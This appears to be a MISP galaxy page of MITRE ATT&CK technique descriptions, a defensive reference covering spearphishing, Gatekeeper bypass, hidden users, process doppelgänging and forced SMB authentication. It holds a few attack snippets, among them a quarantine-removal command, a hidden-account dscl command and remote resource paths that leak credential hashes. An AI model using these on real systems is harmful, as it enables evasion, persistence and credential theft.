All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192"
Links |
Obfuscate infrastructure - T1331
Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)
The tag is: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331"
Obfuscate infrastructure - T1331 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309" with estimative-language:likelihood-probability="almost-certain"
Links |
Hidden Window - T1143
Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.
Windows
There are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>. (Citation: PowerShell About 2019)
Mac
The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)
The tag is: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143"
Links |
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ |
Screen Capture - T1513
Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android MediaProjectionManager
(generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android screencap
or screenrecord
commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)
The tag is: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513"
Create Account - T1136
Adversaries with a sufficient level of access may create a local system, domain, or cloud tenant account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.
In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.
Windows
The <code>net user</code> commands can be used to create a local or domain account.
Office 365
An adversary with access to a Global Admin account can create another account and assign it the Global Admin role for persistent access to the Office 365 tenant.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)
The tag is: misp-galaxy:mitre-attack-pattern="Create Account - T1136"
Application Shimming - T1138
The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
-
<code>%WINDIR%\AppPatch\sysmain.sdb</code>
-
<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>
Custom databases are stored in:
-
<code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>
-
<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.
The tag is: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138"
Links |
Authentication attempt - T1381
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)
The tag is: misp-galaxy:mitre-attack-pattern="Authentication attempt - T1381"
Links |
Spearphishing Attachment - T1193
Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.
There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary’s payload exploits a vulnerability or directly executes on the user’s system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193"
Links |
Bash History - T1139
Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
The tag is: misp-galaxy:mitre-attack-pattern="Bash History - T1139"
Links |
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way |
Gatekeeper Bypass - T1144
In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple’s Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.
Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)
In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)
The tag is: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144"
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ |
Private Keys - T1145
Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)
Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows.
Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.
Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)
The tag is: misp-galaxy:mitre-attack-pattern="Private Keys - T1145"
Lockscreen Bypass - T1461
An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen.
Biometric Spoofing
If biometric authentication is used, an adversary could attempt to spoof a mobile device’s biometric authentication mechanism(Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID).
iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID). Android has similar mitigations.
Device Unlock Code Guessing or Brute Force
An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing ("shoulder surfing") the device owner’s use of the lockscreen passcode.
Exploit Other Device Lockscreen Vulnerabilities
Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.
The tag is: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461"
Links |
https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/ |
https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/ |
Input Capture - T1417
Adversaries may capture user input to obtain credentials or other information from the user through various methods.
Malware may masquerade as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.
On Android, malware may abuse accessibility features to record keystrokes by registering an AccessibilityService
class, overriding the onAccessibilityEvent
method, and listening for the AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED
event type. The event object passed into the function will contain the data that the user typed.
Additional methods of keylogging may be possible if root access is available.
The tag is: misp-galaxy:mitre-attack-pattern="Input Capture - T1417"
Links |
Hidden Users - T1147
Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).
The tag is: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147"
Links |
https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty |
Application Discovery - T1418
Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary’s risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.
On Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.
On iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple’s App Store.
The tag is: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418"
Links |
https://developer.android.com/reference/android/content/pm/PackageManager.html |
SSH Hijacking - T1184
Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.
In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent’s socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)
[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).
The tag is: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184"
Web Service - T1481
Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.
These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.
Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
The tag is: misp-galaxy:mitre-attack-pattern="Web Service - T1481"
Links |
LC_MAIN Hijacking - T1149
As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.
The tag is: misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149"
Input Injection - T1516
A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android’s accessibility APIs.
[Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods:
-
Mimicking user clicks on the screen, for example to steal money from a user’s PayPal account.(Citation: android-trojan-steals-paypal-2fa)
-
Injecting global actions, such as
GLOBAL_ACTION_BACK
(programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019) -
Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)
The tag is: misp-galaxy:mitre-attack-pattern="Input Injection - T1516"
Links |
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/ |
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html |
Startup Items - T1165
Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.
The tag is: misp-galaxy:mitre-attack-pattern="Startup Items - T1165"
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
Access Notifications - T1517
A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)
The tag is: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517"
Links |
https://www.welivesecurity.com/2019/06/17/malware-google-permissions-2fa-bypass/ |
Dylib Hijacking - T1157
macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.
A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)
If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.
The tag is: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157"
Links |
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf |
Software Discovery - T1518
Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
The tag is: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518"
Links |
Launch Agent - T1159
Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).
Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).
The tag is: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159"
Browser Extensions - T1176
Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser’s app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)
Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).
The tag is: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176"
Securityd Memory - T1167
In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)
If an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)
The tag is: misp-galaxy:mitre-attack-pattern="Securityd Memory - T1167"
Process Doppelgänging - T1186
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
-
Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
-
Load – Create a shared section of memory and load the malicious executable.
-
Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
-
Animate – Create a process from the tainted section of memory and initiate execution.
The tag is: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186"
LSASS Driver - T1177
The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)
Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.
The tag is: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177"
Links |
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx |
Forced Authentication - T1187
The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)
Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user’s system accesses the untrusted resource it will attempt authentication and send information including the user’s hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)
There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:
-
A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
-
A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187"
BITS Jobs - T1197
Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)
Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)
BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)
The tag is: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"
Trusted Relationship - T1199
Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.
Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider’s access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.
The tag is: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199"
Links |
Misattributable credentials - T1322
The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)
The tag is: misp-galaxy:mitre-attack-pattern="Misattributable credentials - T1322"
Links |
Data Encrypted - T1532
Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.
The tag is: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532"
Links |
DNS poisoning - T1382
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
DNS (cache) poisoning is the corruption of an Internet server’s domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)
The tag is: misp-galaxy:mitre-attack-pattern="DNS poisoning - T1382"
Links |
Process Discovery - T1424
On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the <code>ps</code> command, or by examining the <code>/proc</code> directory. Starting in Android version 7, use of the Linux kernel’s <code>hidepid</code> feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).
The tag is: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424"
Links |
Capture Audio - T1429
Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information.
Android and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the <code>android.permission.RECORD_AUDIO</code> permission to access the microphone and the <code>android.permission.CAPTURE_AUDIO_OUTPUT</code> permission to access audio output such as speakers. Android does not allow third-party applications to hold <code>android.permission.CAPTURE_AUDIO_OUTPUT</code>, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the NSMicrophoneUsageDescription
key in their Info.plist
file.
The tag is: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html |
Dumpster dive - T1286
Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)
The tag is: misp-galaxy:mitre-attack-pattern="Dumpster dive - T1286"
Links |
Dynamic DNS - T1333
Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)
The tag is: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333"
Dynamic DNS - T1333 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311" with estimative-language:likelihood-probability="almost-certain"
Links |
Port redirector - T1363
Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)
The tag is: misp-galaxy:mitre-attack-pattern="Port redirector - T1363"
Links |
Internal Spearphishing - T1534
Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user’s device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)
